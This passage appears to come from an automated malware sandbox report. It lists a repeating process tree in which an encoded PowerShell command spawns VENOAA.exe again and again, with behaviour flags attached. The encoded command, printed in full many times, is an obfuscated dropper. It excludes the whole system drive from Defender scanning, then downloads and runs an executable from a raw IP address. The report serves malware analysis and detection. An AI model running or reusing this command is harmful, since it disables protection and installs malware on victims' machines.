        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        42⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2880
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        43⤵
        Executes dropped EXE
        
        PID:2624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        44⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        45⤵
        Executes dropped EXE
        
        PID:2632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        46⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1572
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        47⤵
        Executes dropped EXE
        
        PID:2532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        48⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2700
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        49⤵
        Executes dropped EXE
        
        PID:1420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        50⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        51⤵
        Executes dropped EXE
        
        PID:2156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        52⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2256
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        53⤵
        Executes dropped EXE
        
        PID:780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        54⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:692
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        55⤵
        Executes dropped EXE
        
        PID:2100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        56⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1448
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        57⤵
        Executes dropped EXE
        
        PID:1036
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        58⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2976
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        59⤵
        Executes dropped EXE
        
        PID:2944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        60⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1240
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        61⤵
        Executes dropped EXE
        
        PID:2656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        62⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2376
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        63⤵
        Executes dropped EXE
        
        PID:2612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        64⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1380
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        65⤵
        Executes dropped EXE
        
        PID:1496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        66⤵
        Blocklisted process makes network request
